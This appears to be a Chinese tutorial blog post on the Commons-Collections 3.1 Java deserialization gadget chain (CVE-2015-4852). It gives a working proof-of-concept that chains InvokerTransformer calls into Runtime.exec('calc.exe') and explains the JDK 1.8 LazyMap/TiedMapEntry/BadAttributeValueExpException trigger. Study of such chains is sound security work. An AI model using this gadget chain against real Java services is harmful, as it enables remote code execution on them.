LOFTER for ipad —— 让兴趣,更有趣

点击下载 关闭
JAVA反序列化 - Commons-Collections

前言

这是本人学习java反序列化的第一篇利用链的文章,借鉴了不少干货文章,加上本人自己的理解,希望和大家一起学习进步。

刚接触反序列化的时候,我也是一脸懵逼,但是后来还是硬着头皮走过来了。

只要坚持,总归能学会。

本篇文章中是以一个只了解java反射机制和反序列化利用点(readObject)的视角去一点点复现推导了commons-collections、jdk1.7和jdk1.8的poc的构造。

同时记录了很多新人的视角去看待理解这个程序,希望能更通俗易懂一些。

如果你具备了反射机制和反序列化基本原理的知识,同时想学习Commons-Collections构造链的话,个人感觉是这篇文是再适合不过了。

如果你不具备反射和反序列化基本原理知识,可以到以下链接学习

JAVA反序列化-反射机制

那么开始。

了解反射机制的话,我们会发现若存在一个固有的反射机制时,输入可控,就可能形成任意函数调用的情况,具有极大的危害。
但实际上真的有存在这种情况:这就是commons-collections-3.1 jar包,cve编号:cve-2015-4852

在开始之前我们需要理一下反序列化漏洞的攻击流程:

  1. 客户端构造payload(有效载荷),并进行一层层的封装,完成最后的exp(exploit-利用代码)

  2. exp发送到服务端,进入一个服务端自主复写(也可能是组件复写)的readObject函数,它会反序列化恢复我们构造的exp去形成一个恶意的数据格式exp_1(剥去第一层)

  3. 这个恶意数据exp_1在接下来的处理流程(可能是在自主复写的readObject中、也可能是在外面的逻辑中),会执行一个exp_1这个恶意数据类的一个方法,在方法中会根据exp_1的内容进行函处理,从而一层层地剥去(或者说变形、解析)我们exp_1变成exp_2、exp_3......

  4. 最后在一个可执行任意命令的函数中执行最后的payload,完成远程代码执行。

那么以上大概可以分成三个主要部分:

  1. payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;我们把它称为:payload

  2. 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。(在此篇中就是commons-collections利用链)

  3. readObject复写利用点:服务端中存在的类,可以与我们漏洞链相对应的,并且可以从外部访问的readObject函数复写点。一般初始执行都是在readObject函数里面,因为该方法在反序列化时,会自动自行。

commons-collections-3.1

这是官网commons-collections项目

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

Apache Commons Collections是一个扩展了Java标准库里的Collection结构的第三方基础库,它提供了很多强有力的数据结构类型并且实现了各种集合工具类。作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发。
它是一个基础数据结构包,同时封装了很多功能,其中我们需要关注一个功能:

  • Transforming decorators that alter each object as it is added to the collection

  • 转化装饰器:修改每一个添加到collection中的object

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。
org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化函数可以自定义实现,我们的漏洞触发函数就是在于这个点。

漏洞复现需要下载3.1版本源码3.1版本的下载地址,进去寻觅一下源码和jar包都有。

由于没有找到漏洞版本3.1的api说明,我们可以参考3.2.2的api文档

POC->利用链

我们将通过调试POC得到漏洞利用链的调用栈,顺便介绍一下各个类,再通过分析调用栈的函数,反推出POC来探究其中的利用原理。

我们先看一下网上的POC代码,如下:

import org.apache.commons.collections.*;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;

import java.util.Map;


public class commons_collections_3_1 {

    public static void main(String[] args) throws Exception {

        //此处构建了一个transformers的数组,在其中构建了任意函数执行的核心代码

        Transformer[] transformers = new Transformer[] {

                new ConstantTransformer(Runtime.class),

                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),

                new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),

                new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})

        };


        //将transformers数组存入ChaniedTransformer这个接口实现类,使用的多态形式,左接口,右边实现类

        Transformer transformerChain = new ChainedTransformer(transformers);

        //创建Map并绑定transformerChina

        Map innerMap = new HashMap();

        innerMap.put("value", "value");

        //给予map数据转化链,这么写是为了满足decorate的形参需求

        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        // 使用entrySet()获取Map集合的每一对Map.Entry对象,里面保存的是map集合的键值对,然后使用iterator().next()便利获取一个Map.Entry对象

        Map.Entry onlyElement = (Map.Entry) outerMap.entrySet().iterator().next();

        // 通过setValue方法,触发漏洞,弹出计算器

        onlyElement.setValue("124");

    }

}

以上的poc只有payload和反序列化利用链两者。
而关键的readObject复写利用点没有包含在内。事实确实如此。
这个poc的复写利用点是sun.reflect.annotation.AnnotationInvocationHandler的readObject()(JDK1.7版本的),但是我们先精简代码关注payload和利用链,最后再加上readObject复写点。

我们调试看一下执行流程

直接在onlyElement.setValue("124"); 这里打个断点,我们先看看是哪里触发了漏洞,setValue里面的值随便写,F7进入setValue方法

进入了AbstracInputCheckedMapDecorator.class,可以看到124被传到了value = this.parent.checkSetValue(value);

然后我们再F7,进入checkSetValue方法

这时我们进入了TransformedMap.class,可以看到执行了this.valueTransformer.transform(value);

这里我们先不许纠结为什么执行到这一步后就执行命令了,我们先了解程序的执行流程,具体原因我等下讲,这里需要知道的是this.valueTransformer,就是我们传入TransformedMap.decorate(innerMap, null, transformerChain);中的transformerChain对象,这个里面就是我们要执行的命令

然后F8下一步,弹出计算器

之后一直F8把剩余步骤走完


经过调试,我们能大概知道程序的执行流程,经过了哪些方法,这样更直观一点,建议大家都自己动手调试一下

原理

Transformed是一种重写map类型的set函数和Map.Entry类型的setValue函数去调用转换链的Map类型。
TransformedMap.class

由于TransformedMap具有commons_collections的转变特性,当赋值一个键值对的时候会自动对输入值进行预设的Transformer的调用,也就是我们刚刚进入的checkSetValue方法。

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
}

我们可以看看this.valueTransformer的值是怎么来的

可以看到,是通过Transformed类中的静态方法decorate(Map map, Transformer keyTransformer, Transformer valueTransformer)来赋值的,它返回了一个Map对象,构造方法里面传入了decorate方法里传入的值,也就是我们的Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

然后构造方法里将对应的形参进行赋值,得到this.valueTransformer = transformerChain;

然后我们进入ChainedTransformer.class看看,transformerChain是怎么生成的

Transformer transformerChain = new ChainedTransformer(transformers);

可以看到是通过构造方法,传入Transformer[]数组类型,然后赋值给了私有常量数组iTransformers;

然后往下看,我们可以看到transform方法,这是关键方法,让我们在回到上一步,可能会有点绕,多推导几遍就理解了

protected Object checkSetValue(Object value) {
        return this.valueTransformer.transform(value);
}

还记得我说过这里的this.valueTransformer = transformerChain;

而Transformer transformerChain = new ChainedTransformer(transformers);

再来看看我们的transformers数组

Transformer[] transformers = new Transformer[]{
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class},         new Object[] {"getRuntime", new Class[0]}),
        new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class},         new Object[]{null, new Object[0]}),
        new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
};

这个时候是不是已经有点茅塞顿开的感觉,如果没有,那么继续往下分析

因为return this.valueTransformer.transform(value);,等同于return transformerChain.transform();

所以会执行ChainedTransformer.class类的transform方法,遍历iTransformers数组,也就是我们传入的transformers数组,然后依次执行,object = this.iTransformers[i].transform(object);

第一次执行的是,可以这么理解,Object = (new ConstantTransformer(Runtime.class)).transform(124);

第一次传入的Object就是我们调用setValue("124")传入的值,第一次传入什么值其实无所谓,我们进入ConstantTransformer.class类中看看

可以看到,这个类其实就是构造方法接受参数,然后赋值给iConstant,可以看到它的transform方法,返回的其实是iConstant所以,第一个transform里面赋值什么都不重要。

然后第一次返回的是Runtime.class的类,第一次的返回会作为第二次transform方法的参数,所以第二次传入transform方法里面的就是Runtime.class类

第二次执行的是,object = (new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]})).transform(Runtime.class);

这时我们进入InvokerTransformer.class的类中看看,我们只看核心代码


可以看到我们传入的参数通过构造方法,分别进行赋值了,然后执行transform方法,这时input为Runtime.class。因为不为null所以进入try代码块,通过反射机制,执行了我们传入的方法。这里也就是我为什么一开始没有讲这一段,随着一步一步分析,到哪个知识点在进行讲解,思路会更清晰一点。

第一次进入transform方法的参数赋值为:

this.iMethodName = "getMethod";
this.iParamTypes = new Class[]{String.class, Class[].class};
this.iArgs = new Object[] {"getRuntime", new Class[0]};

然后反射执行为:

Class cls = Runtime.class.getClass(); // 得到java.lang.Class
Method method = cls.getMethod("getMethod", new Class[]{String.class, Class[].class});
return method.invoke(java.lang.Runtime, "getRuntime", new Class[0]);

这样写是为了便于理解

这里有一点需要注意的是,input.getClass()这个方法使用上的一些区别:

  • 当input是一个类的实例对象时,获取到的是这个类

  • 当input是一个类时,获取到的是java.lang.Class

然后执行invoke返回的是一个Method类型的getRuntime方法,注意!这里返回的是一个Method类型的getRuntime方法,不是一个Runtime对象,我们来看看正常情况下如何通过反射来执行命令

Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))/*此处在获取实例*/, "calc.exe");

可以看到我们是通过Class.forName("java.lang.Runtime")获取到Runtime类,然后再去找到exec方法,执行命令的

可是我们例程中的cls获取到的是java.lang.Class,所以我们不能直接使用这样的方法去调用反射。

好的让我们再回到刚刚的例程,执行invoke返回一个Method类型的getRuntime方法,然后这个Method对象作为第三次transfom传入的对象,所以第三次为:

object = (new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]})).transform(java.lang.Runtime.getRuntime());

这么写是为了便于理解,然后进入transform方法

this.iMethodName = "invoke";
this.iParamTypes =new Class[]{Object.class, Object[].class};
this.iArgs = new Object[]{null, new Object[0]};

Class cls = java.lang.Runtime.getRuntime().getClass();
Method method = cls.getMethod("invoke", new Class[]{Object.class, Object[].class});
return method.invoke(java.lang.Runtime.getRuntime(), null, new Object[0]);

这里我感觉是最难理解的一部分,但是后来也想通了,就等于java.lang.Runtime.getRuntime()方法,执行了invoke,在Runtime类中找getRuntime方法,然后返回Runtime对象,可以理解为 input.invoke(null)。

最后执行第四次,也是一样的带入就好,需要知道的是第四次传入transform方法的是对象是Runtime对象,然后就会变成之前的代码

Class.forName("java.lang.Runtime").getMethod("exec",String.class).invoke(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"))/*此处在获取实例*/, "calc.exe");

最终执行exec命令,弹出计算器


自己构造POC

看完了上面的分析,你应该明白了,主要执行就是在InvokerTransformer.class中的transform方法中

所以我们可以直接使用这个类来执行命令,如图

我们可以直接创建一个InvokerTransformer对象,构造方法传入参数,有一点需要注意的是,需要传入Runtime对象作为Transform的参数,即可执行命令。

命令是可以执行了,但是不能满足我们的攻击需求,所以我们得改进下代码,如图

这里我加了注释,使用了转化器,然后进行序列化和反序列化,模拟客户端和服务器交互,可以实现弹窗。

但是,还是不够完美,需要服务端反序列化时指定类型,然后执行transform,这个估计不太现实,所以我们还需要继续完善。

这里分为jdk1.7版本的构造链和jdk1.8版本的构造链,注释掉的是1.7版本的,因为我用的是1.8版本,所以着重讲解1.8版本的构造链,如果感兴趣的朋友也可以下载个1.7研究,区别就在于AnnotationInvocationHandler.class里面的readObject方法,取消了setValue方法,导致1.8无法利用。

好!我们来看这个程序,是不是看到了几个不熟悉的类,没事,我们一个一个来讲。

Map lazyMap = LazyMap.decorate(map, transformerChain);

让我们进入这个类的方法看看做了哪些操作


可以看到其实和TransformedMap很像,通过这个方法传入参数,然后给构造方法赋值,返回Map对象,这里第一个Map可以不用太在意,重点在this.factory = factory;

这个方法就是返回传入的factory

然后我们再往下看

TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");

这又是什么鬼玩意?让我们进去看看便知!

我标记的代表的是重点方法,等下会讲到。这里看到就是通过传入参数给map和key变量赋值。

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

这又是什么鬼?我们进去看看

构造方法可以无视,直接看里面复写的readObject方法,我重点标记了两个地方,这两处是命令执行的关键步骤!

可以看到valObj调用了toString方法,这个和命令执行有什么关系呢,别急,接着往下看。

我们回到TiedMapEntry.class,可以看到我重点标记的方法,它里面重写了toString(),然后在toString方法里调用了this.getValue(),可以看看我刚刚的截图,可以看到getValue方法里面执行了return this.map.get(this.key);

这个方法有什么特殊之处呢,我们进去看看,需要知道的是this.map的值是我们传入new TiedMapEntry(lazyMap, "foo"); 的lazyMap,这里先记住

这是LazyMap.class中的get方法,看我标记的重点,Object value = this.factory.transform(key);,这里执行了transform方法,这个方法是不是很熟悉呢,前面我们讲过this.factory = transformerChain;

也就是等于执行了transformerChain.transform(key),这里的key也是随便任意值

这样就和我们之前的步骤一样了,然后依次执行transformers数组里的方法

// val是私有变量,所以利用下面方法进行赋值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);

这一步就和上面分析的BadAttributeValueExpException类有关联了,因为这个类里面有个toString()方法,所以我们只需要将val替换为我们需要执行的对象就可以了,所以传入entry对象,这里使用的是暴力反射。

然后就是序列化poc对象,在进行反序列化,即可执行BadAttributeValueExpException类复写的readObject方法,因为通过暴力反射为val赋值为entry对象,所以最后会调用entry对象的toString方法,之后就是和刚才分析的一样执行了。

我是采用倒着推导,这样方便理解漏洞执行触发原理。

好了,总算写完了,真累啊,希望你们会喜欢,能够从中有所收货,那样我觉得付出还是值得的。

如果有些原理不是很懂,可以参考这篇文章 反序列化java反序列化

推荐文章
评论(0)
分享到
转载我的主页